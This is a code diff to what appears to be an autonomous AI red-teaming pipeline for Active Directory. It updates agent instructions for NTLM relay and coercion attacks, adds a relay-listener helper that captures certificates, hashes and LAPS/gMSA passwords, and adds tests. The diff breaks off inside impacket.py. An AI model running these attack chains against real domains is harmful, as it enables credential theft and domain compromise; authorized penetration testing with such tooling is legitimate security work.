diff --git a/capabilities/network-ops/agents/pipeline/exploit-operator.md b/capabilities/network-ops/agents/pipeline/exploit-operator.md index 5a796b57..f4321d7f 100644 --- a/capabilities/network-ops/agents/pipeline/exploit-operator.md +++ b/capabilities/network-ops/agents/pipeline/exploit-operator.md @@ -24,7 +24,7 @@ Follow the **ad-attack-patterns** skill. Work through signals flagged by the enu 3. **AD CS Exploitation**: if vulnerable templates were flagged, request certs and authenticate. 4. **ACL Abuse**: if writable objects were flagged, use bloodyad to escalate (RBCD, shadow creds, group membership). Clean up after. 5. **Delegation Abuse**: constrained (S4U via impacket) or unconstrained (relay via krbrelayx + coercion). -6. **NTLM Relay**: start `impacket_ntlmrelayx`, then coerce with `coerce_petitpotam` / `coerce_dfscoerce` / `coerce_shadowcoerce`. Consult **ad-attack-patterns** for coercion method selection. +6. **NTLM Relay**: prefer `impacket_ntlmrelay_attack`, which starts the relay, fires coercion, and captures the result in one call — the standalone `impacket_ntlmrelayx` is a listener that blocks until it catches an auth or `relay_timeout`, so it cannot be followed by a coercion call in the same sequence. Consult **ad-attack-patterns** for coercion method selection. 7. **GPP Passwords**: if SYSVOL was accessible. For each recovered credential, immediately: diff --git a/capabilities/network-ops/capability.yaml b/capabilities/network-ops/capability.yaml index 66d39460..2f64d8dd 100644 --- a/capabilities/network-ops/capability.yaml +++ b/capabilities/network-ops/capability.yaml @@ -1,6 +1,6 @@ schema: 1 name: network-ops -version: "2.1.9" +version: "2.1.10" description: > Network operations and Active Directory exploitation. Multi-agent pipeline for autonomous red teaming with Nmap scanning, Netexec diff --git a/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md index f9882f58..da662e60 100644 --- a/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md +++ b/capabilities/network-ops/skills/ad-attack-patterns/SKILL.md @@ -97,7 +97,7 @@ Reference for common AD attack chains. Each pattern lists prerequisites, tool se | Step | Tool | Action | |---|---|---| | Combined (preferred) | `impacket_ntlmrelay_attack` | Start relay + fire coercion + capture result in one call | -| 1. Start relay listener (manual) | `impacket_ntlmrelayx` | Listen and relay to target (SMB/LDAP/AD CS) | +| 1. Start relay listener (manual) | `impacket_ntlmrelayx` | Listen and relay (SMB/LDAP/AD CS); blocks until it catches an auth or `relay_timeout`, so cannot be followed by a coercion call — prefer the combined tool | | 2. Coerce authentication (manual) | See coercion method selection below | Force target to authenticate to relay | | 3. Relay captures and forwards | ntlmrelayx relays auth | Escalation depends on relay target | diff --git a/capabilities/network-ops/tests/test_tool_fixes.py b/capabilities/network-ops/tests/test_tool_fixes.py index 78510267..5849c369 100644 --- a/capabilities/network-ops/tests/test_tool_fixes.py +++ b/capabilities/network-ops/tests/test_tool_fixes.py @@ -4,8 +4,11 @@ from __future__ import annotations +import asyncio +import importlib.machinery import importlib.util import inspect +import signal import sys import types from pathlib import Path @@ -92,21 +95,36 @@ def __getattr__(self, name): # Now we can import the tool modules TOOLS_DIR = Path(__file__).resolve().parents[1] / "tools" +# Register a synthetic package rooted at the tools dir so the tool modules' +# intra-package imports (e.g. ``from ._relay import ...``) resolve the same way +# they do when the capability loader imports them as a package at runtime. +_PKG = "netops_tools" +if _PKG not in sys.modules: + _spec = importlib.machinery.ModuleSpec(_PKG, loader=None, is_package=True) + _spec.submodule_search_locations = [str(TOOLS_DIR)] + sys.modules[_PKG] = importlib.util.module_from_spec(_spec) + def _load_module(name: str, filename: str): + mod_name = f"{_PKG}.{name}" path = TOOLS_DIR / filename - spec = importlib.util.spec_from_file_location(name, path) + spec = importlib.util.spec_from_file_location(mod_name, path) assert spec and spec.loader mod = importlib.util.module_from_spec(spec) + sys.modules[mod_name] = mod spec.loader.exec_module(mod) return mod -nmap_mod = _load_module("nmap_tools", "nmap.py") -certipy_mod = _load_module("certipy_tools", "certipy.py") -impacket_mod = _load_module("impacket_tools", "impacket.py") -cracking_mod = _load_module("cracking_tools", "cracking.py") -bloodyad_mod = _load_module("bloodyad_tools", "bloodyad.py") +nmap_mod = _load_module("nmap", "nmap.py") +certipy_mod = _load_module("certipy", "certipy.py") +impacket_mod = _load_module("impacket", "impacket.py") +cracking_mod = _load_module("cracking", "cracking.py") +bloodyad_mod = _load_module("bloodyad", "bloodyad.py") +krbrelayx_mod = _load_module("krbrelayx", "krbrelayx.py") +# The tool modules above import ``._relay`` relatively, so it is already loaded +# under the package; reuse that instance rather than loading a second copy. +relay_mod = sys.modules.get(f"{_PKG}._relay") or _load_module("_relay", "_relay.py") # =================================================================== @@ -456,8 +474,13 @@ def test_auto_no_pass_when_no_creds(self, tmp_path): # =================================================================== -def _make_mock_process(lines: list[bytes], returncode: int | None = None): - """Create a mock asyncio subprocess with predefined stdout lines.""" +def _make_mock_process(lines: list[bytes], returncode: int | None = None, exit_code: int = 0): + """Create a mock asyncio subprocess with predefined stdout lines. + + ``returncode`` is the process's state before it is awaited; ``exit_code`` is + what ``wait()`` resolves it to, letting a test model a clean (0) or failing + (non-zero) exit after stdout closes. + """ line_iter = iter(lines) async def readline(): @@ -473,7 +496,7 @@ async def readline(): proc.pid = 12345 async def wait(): - proc.returncode = 0 + proc.returncode = exit_code proc.wait = wait return proc @@ -531,7 +554,9 @@ async def test_detects_certificate_success(self): ] ) output: list[str] = [] - result = await impacket_mod._wait_for_relay_result(proc, output, timeout=5) + result = await impacket_mod._wait_for_relay_result( + proc, output, impacket_mod.NTLMRELAYX_SUCCESS_PATTERNS, timeout=5 + ) assert result is True assert any("certificate" in line.lower() for line in output) @@ -545,9 +570,41 @@ async def test_returns_false_on_timeout(self): ] ) output: list[str] = [] - result = await impacket_mod._wait_for_relay_result(proc, output, timeout=2) + result = await impacket_mod._wait_for_relay_result( + proc, output, impacket_mod.NTLMRELAYX_SUCCESS_PATTERNS, timeout=2 + ) assert result is False + @pytest.mark.asyncio + async def test_krbrelayx_failed_auth_is_not_success(self): + # krbrelayx logs "Authenticating against ... SUCCEED" and "... FAILED". + # The patterns must fire on the real capture lines, not on FAILED. + failed = _make_mock_process( + [ + b"[*] SMBD: Received connection from 10.0.0.5\n", + b"[-] Authenticating against smb://dc as CORP\\u FAILED\n", + b"", + ] + ) + out1: list[str] = [] + assert ( + await relay_mod.wait_for_relay_result(failed, out1, krbrelayx_mod._KRBRELAYX_SUCCESS_PATTERNS, timeout=2) + is False + ) + + caught = _make_mock_process( + [ + b"[*] SMBD: Received connection from 10.0.0.5\n", + b"[*] Got ticket for admin@CORP.LOCAL [2]\n", + b"", + ] + ) + out2: list[str] = [] + assert ( + await relay_mod.wait_for_relay_result(caught, out2, krbrelayx_mod._KRBRELAYX_SUCCESS_PATTERNS, timeout=2) + is True + ) + # =================================================================== # Relay: _kill_relay @@ -581,6 +638,33 @@ async def mock_wait(): mock_getpgid.assert_called_once_with(99999) mock_killpg.assert_called() + @pytest.mark.asyncio + async def test_escalates_to_sigkill_when_sigterm_ignored(self): + # A relay that ignores SIGTERM (ntlmrelayx with live connections does) + # must be escalated to SIGKILL, not leaked holding ports 445/80. + proc = MagicMock() + proc.returncode = None + proc.pid = 99999 + calls = {"n": 0} + + async def mock_wait(): + calls["n"] += 1 + if calls["n"] == 1: + await asyncio.sleep(1) # outlast the (patched) SIGKILL timeout + proc.returncode = -9 + + proc.wait = mock_wait + + with ( + patch.object(relay_mod, "_SIGKILL_TIMEOUT", 0.05), + patch("os.getpgid", return_value=99999), + patch("os.killpg") as mock_killpg, + ): + await impacket_mod._kill_relay(proc) + # SIGTERM first, then SIGKILL after the wait timed out. + assert mock_killpg.call_count == 2 + assert mock_killpg.call_args_list[-1].args[1] == signal.SIGKILL + # =================================================================== # Cracking: hashcat no-backend detection @@ -601,14 +685,10 @@ async def test_backend_error_suggests_john_with_known_mode(self, tmp_path): cracker = cracking_mod.Cracking() async def fake_execute(cmd, **kwargs): - raise RuntimeError( - "Command failed (255): clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR" - ) + raise RuntimeError("Command failed (255): clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR") with patch.object(cracking_mod, "execute", side_effect=fake_execute): - with pytest.raises( - RuntimeError, match=r"Use john_the_ripper.*hash_format='nt'" - ): + with pytest.raises(RuntimeError, match=r"Use john_the_ripper.*hash_format='nt'"): await cracker.hashcat( hashcat_mode=1000, hash_file=str(hash_file), @@ -624,9 +704,7 @@ async def test_backend_error_chains_original_exception(self, tmp_path): wordlist.write_text("password\n") cracker = cracking_mod.Cracking() - original = RuntimeError( - "Command failed (255): clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR" - ) + original = RuntimeError("Command failed (255): clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR") async def fake_execute(cmd, **kwargs): raise original @@ -720,9 +798,7 @@ def test_no_hashes_flag_ever_emitted(self): # the real tool surface. _BLOODYAD_TOOL_METHODS = sorted( name - for name, member in inspect.getmembers( - bloodyad_mod.BloodyAD, inspect.iscoroutinefunction - ) + for name, member in inspect.getmembers(bloodyad_mod.BloodyAD, inspect.iscoroutinefunction) if name.startswith("bloodyad_") ) @@ -908,9 +984,7 @@ async def test_no_backend_short_circuits_before_show(self, tmp_path): """A missing GPU backend raises the john hint and never reaches --show.""" hash_file, wordlist = self._write_inputs(tmp_path) fake_execute, calls = _split_execute( - RuntimeError( - "Command failed (255): clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR" - ), + RuntimeError("Command failed (255): clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR"), "svc_sql:Password1", ) with patch.object(cracking_mod, "execute", side_effect=fake_execute): @@ -967,3 +1041,244 @@ async def test_nonzero_exit_surfaces_instead_of_empty(self, tmp_path): wordlist_path=str(wordlist), ) assert not any("--show" in cmd for cmd in calls) + + +# =================================================================== +# Shared relay listener: stream_listener +# +# Relay/coercion tools are listeners, not one-shot commands. stream_listener +# must stream their output, return early on a success line, and — crucially — +# return the captured output rather than raising when it reaches the timeout +# without catching an auth. A listener that caught nothing produced no result; +# that is a normal outcome, not a failed tool call. +# =================================================================== + + +class TestStreamListener: + @pytest.mark.asyncio + async def test_returns_output_on_success(self): + proc = _make_mock_process( + [ + b"[*] Servers started, waiting for connections\n", + b"[*] Got certificate!\n", + b"", + ] + ) + with ( + patch("asyncio.create_subprocess_exec", AsyncMock(return_value=proc)), + patch("os.getpgid", return_value=12345), + patch("os.killpg"), + ): + out = await relay_mod.stream_listener( + ["ntlmrelayx.py"], + success_patterns=["got certificate"], + timeout=5, + ) + assert "Got certificate" in out + assert "No success indicator" not in out + + @pytest.mark.asyncio + async def test_success_drain_captures_followup_loot(self): + # The certificate / hashes land on the line *after* the success marker; + # the drain must capture that loot, not just the marker line. + proc = _make_mock_process( + [ + b"[*] Got certificate!\n", + b"[*] Certificate: MIIFxyz-LOOT-VALUE\n", + b"", + ] + ) + with ( + patch("asyncio.create_subprocess_exec", AsyncMock(return_value=proc)), + patch("os.getpgid", return_value=12345), + patch("os.killpg"), + ): + out = await relay_mod.stream_listener(["ntlmrelayx.py"], success_patterns=["got certificate"], timeout=5) + assert "MIIFxyz-LOOT-VALUE" in out + + @pytest.mark.asyncio + async def test_clean_early_exit_returns_note_without_raising(self): + # Process exits 0 without catching anything: a result, not an error. + proc = _make_mock_process([b"[*] Servers started, waiting for connections\n", b""], exit_code=0) + with ( + patch("asyncio.create_subprocess_exec", AsyncMock(return_value=proc)), + patch("os.getpgid", return_value=12345), + patch("os.killpg"), + ): + out = await relay_mod.stream_listener(["ntlmrelayx.py"], success_patterns=["got certificate"], timeout=5) + assert "Servers started" in out + assert "exited without capturing" in out + + @pytest.mark.asyncio + async def test_nonzero_early_exit_raises(self): + # A crash / misconfiguration (non-zero exit before the deadline) must + # surface as a tool-call error, not a success-shaped "nothing caught". + proc = _make_mock_process([b"[-] Address already in use\n", b""], exit_code=1) + with ( + patch("asyncio.create_subprocess_exec", AsyncMock(return_value=proc)), + patch("os.getpgid", return_value=12345), + patch("os.killpg"), + ): + with pytest.raises(RuntimeError, match=r"exited with code 1"): + await relay_mod.stream_listener(["ntlmrelayx.py"], success_patterns=["got certificate"], timeout=5) + + @pytest.mark.asyncio + async def test_real_timeout_returns_note_and_terminates(self): + # End-to-end against a real subprocess that prints a line then blocks + # past the timeout: verifies the actual timeout + process-group kill + # path (not just mocked EOF), and that it returns rather than raises. + script = "import time, sys; print('listener up', flush=True); time.sleep(30)" + out = await relay_mod.stream_listener( + [sys.executable, "-c", script], + success_patterns=["NEVER-MATCHES"], + timeout=1, + ) + assert "listener up" in out + assert "No authentication captured within 1s" in out + + +class TestCertipyRelayRouting: + """certipy(action='relay') is a listener; every other action is one-shot.""" + + def _make_certipy(self): + inst = certipy_mod.Certipy() + inst.certipy_cmd = "certipy" + inst.timeout = 20 + inst.relay_timeout = 7 + return inst + + @pytest.mark.asyncio + async def test_relay_action_streams_with_relay_timeout(self): + inst = self._make_certipy() + captured: dict = {} + + async def fake_stream(cmd, **kwargs): + captured["cmd"] = cmd + captured.update(kwargs) + return "relayed" + + async def fake_execute(*args, **kwargs): + raise AssertionError("execute must not be called for the relay action") + + with ( + patch.object(certipy_mod, "stream_listener", side_effect=fake_stream), + patch.object(certipy_mod, "execute", side_effect=fake_execute), + ): + out = await inst.certipy(action="relay", args=["-target", "http://ca"], target="1.2.3.4") + + assert out == "relayed" + assert captured["timeout"] == 7 + assert captured["success_patterns"] is certipy_mod._CERTIPY_RELAY_SUCCESS_PATTERNS + + @pytest.mark.asyncio + async def test_non_relay_action_uses_execute(self): + inst = self._make_certipy() + + async def fake_execute(cmd, **kwargs): + return "executed" + + async def fake_stream(*args, **kwargs): + raise AssertionError("stream_listener must not be called for non-relay") + + with ( + patch.object(certipy_mod, "execute", side_effect=fake_execute), + patch.object(certipy_mod, "stream_listener", side_effect=fake_stream), + ): + out = await inst.certipy(action="find", args=["-enabled"], target="1.2.3.4") + + assert out == "executed" + + +class TestKrbrelayxRelayRouting: + """krbrelayx_relay is a listener and must stream with its relay_timeout.""" + + @pytest.mark.asyncio + async def test_relay_streams_with_relay_timeout(self): + inst = krbrelayx_mod.Krbrelayx() + inst.script_path = Path("/opt/krbrelayx") + inst.timeout = 30 + captured: dict = {} + + async def fake_stream(cmd, **kwargs): + captured["cmd"] = cmd + captured.update(kwargs) + return "ok" + + with patch.object(krbrelayx_mod, "stream_listener", side_effect=fake_stream): + out = await inst.krbrelayx_relay(target="host/victim.corp.local", clsid="abc", relay_timeout=42) + + assert out == "ok" + assert captured["timeout"] == 42 + assert captured["success_patterns"] is krbrelayx_mod._KRBRELAYX_SUCCESS_PATTERNS + assert str(Path("/opt/krbrelayx") / "krbrelayx.py") in captured["cmd"] + + +class TestImpacketNtlmrelayxRouting: + """The standalone impacket_ntlmrelayx listener must stream, not block-execute.""" + + @pytest.mark.asyncio + async def test_standalone_relay_streams_with_relay_timeout(self): + inst = impacket_mod.Impacket() + captured: dict = {} + + async def fake_stream(cmd, **kwargs): + captured["cmd"] = cmd + captured.update(kwargs) + return "ok" + + with ( + patch.object(inst, "_build_ntlmrelayx_args", return_value=["-t", "smb://x"]), + patch.object( + inst, + "_build_script_command", + return_value=["python", "ntlmrelayx.py", "-t", "smb://x"], + ), + patch.object(impacket_mod, "stream_listener", side_effect=fake_stream), + ): + out = await inst.impacket_ntlmrelayx(target="smb://x", relay_timeout=55) + + assert out == "ok" + assert captured["timeout"] == 55 + assert captured["success_patterns"] is impacket_mod.NTLMRELAYX_SUCCESS_PATTERNS + + +class TestRelayRedactionAndCap: + def test_redact_cmd_masks_credentials(self): + cmd = [ + "certipy", + "relay", + "-u", + "bob", + "-p", + "S3cret!", + "-hashes", + ":abcd", + "--aeskey", + "AESKEY", + "-dc-ip", + "1.2.3.4", + ] + red = relay_mod._redact_cmd(cmd) + joined = " ".join(red) + assert "S3cret!" not in joined + assert ":abcd" not in joined + assert "AESKEY" not in joined + assert red.count("***") == 3 + # Non-secret args are preserved. + assert "bob" in red + assert "1.2.3.4" in red + + @pytest.mark.asyncio + async def test_output_is_capped(self): + lines = [b"X" * 500 + b"\n"] * 10 + [b""] # ~5 KB of output + proc = _make_mock_process(lines, exit_code=0) + with ( + patch.object(relay_mod, "_MAX_OUTPUT_BYTES", 1000), + patch("asyncio.create_subprocess_exec", AsyncMock(return_value=proc)), + patch("os.getpgid", return_value=12345), + patch("os.killpg"), + ): + out = await relay_mod.stream_listener(["x"], success_patterns=["nomatch"], timeout=5) + assert "Output truncated at 1000 bytes" in out + # Retained output stays bounded near the cap, not the full ~5 KB. + assert len(out) < 2000 diff --git a/capabilities/network-ops/tools/_relay.py b/capabilities/network-ops/tools/_relay.py new file mode 100644 index 00000000..2dfb18e3 --- /dev/null +++ b/capabilities/network-ops/tools/_relay.py @@ -0,0 +1,279 @@ +"""Shared helpers for long-lived relay/listener subprocesses. + +Relay tools (ntlmrelayx, krbrelayx, certipy relay) are listeners: they stay up +waiting for a coerced or relayed authentication to arrive, which can take far +longer than a one-shot command. These helpers stream such a listener's stdout, +return early when a success line appears, bound how much output is retained, and +distinguish three end states: a success, a listener still running when its +window expires (caught nothing — a normal result), and a listener that exited on +its own (a crash or misconfiguration, surfaced as an error). +""" + +import asyncio +import contextlib +import os +import signal + +from loguru import logger + +# Stdout substrings that indicate an ntlmrelayx relay caught/relayed an auth. +# Each tool passes the list that matches its own output; callers must pass one +# explicitly (there is no shared default, so no tool can silently match against +# ntlmrelayx's strings). +NTLMRELAYX_SUCCESS_PATTERNS = [ + "certificate", + "got certificate", + "dumping", + "sam hashes", + "authenticating against", + "relay succeeded", + "shadow credentials", + "msds-keycredentiallink", + "escalating", + "adding computer", + "laps password", + "gmsa password", +] + +# argv flags whose following value is a credential and must not be logged. +_SECRET_FLAGS = {"-p", "--password", "-hashes", "--hashes", "-aeskey", "--aeskey", "-aesKey"} + +# How long to wait after SIGTERM before escalating to SIGKILL. +_SIGKILL_TIMEOUT = 5.0 + +# Longest a single readline() blocks before we re-check the deadline / liveness. +_READ_POLL_INTERVAL = 5.0 + +# How long to keep draining follow-up lines after a success match, to capture +# data (certificate values, hashes) printed just after the success line. +_SUCCESS_DRAIN_SECONDS = 5.0 + +# Ceiling on retained stdout. A chatty listener (e.g. an NTDS dump) over a long +# window would otherwise grow the buffer and the returned string without bound. +_MAX_OUTPUT_BYTES = 1_000_000 + +# Grace period to reap a process that closed stdout, so its exit code settles +# before we decide whether it exited on its own or is still listening. +_EXIT_SETTLE_SECONDS = 0.5 + + +def _redact_cmd(cmd: list[str]) -> list[str]: + """Return a copy of ``cmd`` with credential values masked. + + Relay commands carry passwords, NTLM hashes and Kerberos keys in argv; the + value following a known credential flag is replaced with ``***`` so the + command can be logged without leaking secrets. + """ + redacted: list[str] = [] + mask_next = False + for arg in cmd: + if mask_next: + redacted.append("***") + mask_next = False + continue + redacted.append(arg) + if arg in _SECRET_FLAGS: + mask_next = True + return redacted + + +def _append_capped(buffer: list[str], total: int, text: str) -> int: + """Append ``text`` to ``buffer`` within the byte budget; return the new total. + + Keeps retained output bounded so a long-running, chatty listener cannot blow + up memory or the agent's context window. Success detection still scans every + line; only what is kept is capped. A one-time marker is appended when the + ceiling is first reached. + """ + if total >= _MAX_OUTPUT_BYTES: + return total + remaining = _MAX_OUTPUT_BYTES - total + chunk = text[:remaining] + buffer.append(chunk) + new_total = total + len(chunk) + if new_total >= _MAX_OUTPUT_BYTES: + buffer.append(f"\n[!] Output truncated at {_MAX_OUTPUT_BYTES} bytes.\n") + return new_total + + +async def wait_for_relay_ready( + proc: asyncio.subprocess.Process, + output_buffer: list[str], + timeout: float = 30, + ready_marker: str = "servers started", +) -> bool: + """Read a listener's stdout until it is ready to receive connections. + + Returns True when a line containing ``ready_marker`` appears, False on + early exit, a port-bind error, or timeout. + """ + assert proc.stdout is not None + loop = asyncio.get_running_loop() + deadline = loop.time() + timeout + + while loop.time() < deadline: + remaining = deadline - loop.time() + try: + line = await asyncio.wait_for(proc.stdout.readline(), timeout=min(remaining, _READ_POLL_INTERVAL)) + except TimeoutError: + if proc.returncode is not None: + return False + continue + + if not line: + return False # EOF — process exited + + decoded = line.decode(errors="replace") + output_buffer.append(decoded) + + lower = decoded.lower() + if ready_marker in lower: + return True + + # Early failure: port bind error + if "error" in lower and ("bind" in lower or "address already in use" in lower): + return False + + return False + + +async def wait_for_relay_result( + proc: asyncio.subprocess.Process, + output_buffer: list[str], + success_patterns: list[str], + timeout: float = 90, +) -> bool: + """Read a listener's stdout looking for a success indicator. + + On a match, continues reading for a few more seconds to capture follow-up + data (certificate values, hashes, etc.) before returning True. Returns + False if the deadline passes or the process exits without a match. Retained + output is capped at :data:`_MAX_OUTPUT_BYTES`; detection is not. + """ + assert proc.stdout is not None + loop = asyncio.get_running_loop() + deadline = loop.time() + timeout + total = sum(len(s) for s in output_buffer) + + while loop.time() < deadline: + remaining = deadline - loop.time() + try: + line = await asyncio.wait_for(proc.stdout.readline(), timeout=min(remaining, _READ_POLL_INTERVAL)) + except TimeoutError: + if proc.returncode is not None: + break + continue + + if not line: + break + + decoded = line.decode(errors="replace") + total = _append_capped(output_buffer, total, decoded) + + lower = decoded.lower() + if any(pattern in lower for pattern in success_patterns): + # Drain follow-up output (cert data, hash values) for a few seconds + drain_deadline = loop.time() + _SUCCESS_DRAIN_SECONDS + try: + while loop.time() < drain_deadline: + drain_remaining = drain_deadline - loop.time() + extra = await asyncio.wait_for(proc.stdout.readline(), timeout=drain_remaining) + if not extra: + break + total = _append_capped(output_buffer, total, extra.decode(errors="replace")) + except TimeoutError: + pass + return True + + return False + + +async def kill_relay(proc: asyncio.subprocess.Process) -> None: + """Terminate a listener subprocess and its process group. + + Sends SIGTERM to the group, waits up to :data:`_SIGKILL_TIMEOUT` seconds, + then escalates to SIGKILL. Requires the subprocess was created with + ``start_new_session=True`` so it leads its own group. + """ + if proc.returncode is not None: + return + + pid = proc.pid + if pid is None: + return + + try: + pgid = os.getpgid(pid) + except (OSError, ProcessLookupError): + return + + with contextlib.suppress(OSError, ProcessLookupError): + os.killpg(pgid, signal.SIGTERM) + + try: + await asyncio.wait_for(proc.wait(), timeout=_SIGKILL_TIMEOUT) + except TimeoutError: + with contextlib.suppress(OSError, ProcessLookupError): + os.killpg(pgid, signal.SIGKILL) + with contextlib.suppress(ProcessLookupError): + await proc.wait() + + +async def stream_listener( + cmd: list[str], + success_patterns: list[str], + timeout: float, + env: dict[str, str] | None = None, + cwd: str | None = None, +) -> str: + """Run a long-lived listener and return its captured stdout. + + Streams the subprocess's output and returns as soon as a line matching one + of ``success_patterns`` appears (plus a short drain). If no match appears: + + * a listener still running when ``timeout`` elapses is stopped and its + captured output returned — catching nothing is a normal result, not an + error, so this does not raise; + * a listener that exited on its own with a non-zero code raises + ``RuntimeError`` (a crash or misconfiguration the caller must see); + * a clean (code 0) early exit returns the captured output with a note. + + The process group is always torn down before returning. + """ + process_env = os.environ.copy() + if env: + process_env.update(env) + + logger.info("Starting relay listener: {}", " ".join(_redact_cmd(cmd))) + proc = await asyncio.create_subprocess_exec( + *cmd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.STDOUT, + start_new_session=True, + env=process_env, + cwd=cwd, + ) + + output: list[str] = [] + try: + success = await wait_for_relay_result(proc, output, success_patterns=success_patterns, timeout=timeout) + if success: + return "".join(output) + + # No success line. Reap a process that closed its stdout so its exit + # code settles, then tell apart "still listening at the deadline" from + # "exited on its own". + if proc.returncode is None: + with contextlib.suppress(TimeoutError): + await asyncio.wait_for(proc.wait(), timeout=_EXIT_SETTLE_SECONDS) + + captured = "".join(output) + if proc.returncode is None: + return captured + f"\n[!] No authentication captured within {timeout:g}s; the listener was stopped." + if proc.returncode != 0: + raise RuntimeError( + f"Relay listener exited with code {proc.returncode} before capturing anything:\n{captured}" + ) + return captured + "\n[!] Listener exited without capturing an authentication." + finally: + await kill_relay(proc) diff --git a/capabilities/network-ops/tools/certipy.py b/capabilities/network-ops/tools/certipy.py index ef5e1aab..e27990cb 100644 --- a/capabilities/network-ops/tools/certipy.py +++ b/capabilities/network-ops/tools/certipy.py @@ -7,6 +7,20 @@ from dreadnode.tools.execute import execute from loguru import logger +from ._relay import stream_listener + +# Substrings in certipy relay stdout that indicate a relayed AD CS auth +# succeeded. Kept specific to certificate issuance so routine status lines +# ("... successfully", "wrote config") cannot trip a premature success. +_CERTIPY_RELAY_SUCCESS_PATTERNS = [ + "got certificate", + "saving certificate", + "saved certificate", + "certificate with", + "wrote certificate", + "pkcs#12", +] + def _detect_certipy_command() -> str: """Detect whether certipy is available as 'certipy' (pip) or 'certipy-ad' (Kali).""" @@ -27,6 +41,8 @@ class Certipy(Toolset): """Expose generic protocol functions or specialized methods wrapping common use cases (or both).""" timeout: int = Config(default=20) """Default timeout for commands in seconds.""" + relay_timeout: int = Config(default=180) + """How long (seconds) to keep the ``relay`` action's listener up waiting for an auth.""" certipy_cmd: str = Config(default_factory=_detect_certipy_command) """Command to execute certipy (auto-detected: 'certipy' for pip, 'certipy-ad' for Kali).""" @@ -35,13 +51,10 @@ async def __aenter__(self): """Initialize Certipy toolset and verify certipy is installed.""" if not shutil.which(self.certipy_cmd): logger.warning( - f"certipy command '{self.certipy_cmd}' not found in PATH. " - "Install with: pip install certipy-ad" + f"certipy command '{self.certipy_cmd}' not found in PATH. " "Install with: pip install certipy-ad" ) else: - logger.info( - f"Certipy toolset initialized, using command: {self.certipy_cmd}" - ) + logger.info(f"Certipy toolset initialized, using command: {self.certipy_cmd}") return self @override @@ -64,6 +77,7 @@ async def certipy( domain: str | None = None, password: str | None = None, nt_hash: str | None = None, + relay_timeout: int | None = None, input: str | None = None, ) -> str: """ @@ -78,7 +92,10 @@ async def certipy( find - Enumerate AD CS parse - Offline enumerate AD CS based on registry data forge - Create Golden Certificates or self-signed certificates - relay - NTLM Relay to AD CS HTTP Endpoints + relay - NTLM Relay to AD CS HTTP Endpoints. This action is a + listener: it stays up streaming output until a relayed + certificate is captured or `relay_timeout` elapses (reaching + the deadline returns the captured output, it is not a failure). req - Request certificates shadow - Abuse Shadow Credentials for account takeover template - Manage certificate templates @@ -88,7 +105,11 @@ async def certipy( domain: The domain name. password: The password for authentication. nt_hash: The NTLM hash for authentication. + relay_timeout: Only for action="relay": seconds to keep the listener up + waiting for a relayed certificate before returning (defaults to the + toolset's relay_timeout). Ignored for every other action. input: Optional input string to send to the command's standard input. + Ignored for action="relay", which does not read from stdin. """ cmd = [self.certipy_cmd, action] @@ -106,9 +127,19 @@ async def certipy( cmd.extend(["-dc-ip", target]) cmd.extend(args) - logger.info( - f"Running '{self.certipy_cmd} {action}' with args: {' '.join(args)}" - ) + logger.info(f"Running '{self.certipy_cmd} {action}' with args: {' '.join(args)}") + + # `relay` is a long-lived listener, not a one-shot command: stream its + # output and keep it up until a relayed cert arrives or relay_timeout, + # rather than force-killing it at the short command timeout. + if action == "relay": + return await stream_listener( + cmd, + success_patterns=_CERTIPY_RELAY_SUCCESS_PATTERNS, + timeout=relay_timeout if relay_timeout is not None else self.relay_timeout, + env=None, + ) + return await execute(cmd, timeout=self.timeout, input=input) # Specialized methods @@ -289,9 +320,7 @@ async def certipy_account(self, args: list[str], input: str | None = None) -> st args: List of arguments for the command. input: Optional input string to pass to the command's stdin. """ - return await execute( - [self.certipy_cmd, "account", *args], timeout=self.timeout, input=input - ) + return await execute([self.certipy_cmd, "account", *args], timeout=self.timeout, input=input) @tool_method(catch=True, variants=["generic", "all"]) async def certipy_auth(self, args: list[str], input: str | None = "y") -> str: @@ -337,9 +366,7 @@ async def certipy_auth(self, args: list[str], input: str | None = "y") -> str: args: List of arguments for the command. input: Optional input string to pass to the command's stdin. """ - return await execute( - [self.certipy_cmd, "auth", *args], timeout=self.timeout, input=input - ) + return await execute([self.certipy_cmd, "auth", *args], timeout=self.timeout, input=input) @tool_method(catch=True, variants=["generic", "all"]) async def certipy_ca(self, args: list[str], input: str | None = None) -> str: @@ -422,9 +449,7 @@ async def certipy_ca(self, args: list[str], input: str | None = None) -> str: args: List of arguments for the command. input: Optional input string to pass to the command's stdin. """ - return await execute( - [self.certipy_cmd, "ca", *args], timeout=self.timeout, input=input - ) + return await execute([self.certipy_cmd, "ca", *args], timeout=self.timeout, input=input) @tool_method(catch=True, variants=["generic", "all"]) async def certipy_cert(self, args: list[str], input: str | None = "y") -> str: @@ -456,9 +481,7 @@ async def certipy_cert(self, args: list[str], input: str | None = "y") -> str: args: List of arguments for the command. input: Optional input string to pass to the command's stdin. """ - return await execute( - [self.certipy_cmd, "cert", *args], timeout=self.timeout, input=input - ) + return await execute([self.certipy_cmd, "cert", *args], timeout=self.timeout, input=input) @tool_method(catch=True, variants=["generic", "all"]) async def certipy_find( @@ -621,9 +644,7 @@ async def certipy_req(self, args: list[str], input: str | None = "y") -> str: Args: args: List of arguments for the command. """ - return await execute( - [self.certipy_cmd, "req", *args], timeout=self.timeout, input=input - ) + return await execute([self.certipy_cmd, "req", *args], timeout=self.timeout, input=input) @tool_method(catch=True, variants=["generic", "all"]) async def certipy_template(self, args: list[str], input: str | None = None) -> str: @@ -694,6 +715,4 @@ async def certipy_template(self, args: list[str], input: str | None = None) -> s args: List of arguments for the command. input: Optional input string to pass to the command's stdin. """ - return await execute( - [self.certipy_cmd, "template", *args], timeout=self.timeout, input=input - ) + return await execute([self.certipy_cmd, "template", *args], timeout=self.timeout, input=input) diff --git a/capabilities/network-ops/tools/impacket.py b/capabilities/network-ops/tools/impacket.py index 1edf212a..d00303b7 100644 --- a/capabilities/network-ops/tools/impacket.py +++ b/capabilities/network-ops/tools/impacket.py @@ -1,8 +1,6 @@ import asyncio -import contextlib import os import re -import signal import shutil import sys from pathlib import Path @@ -13,6 +11,11 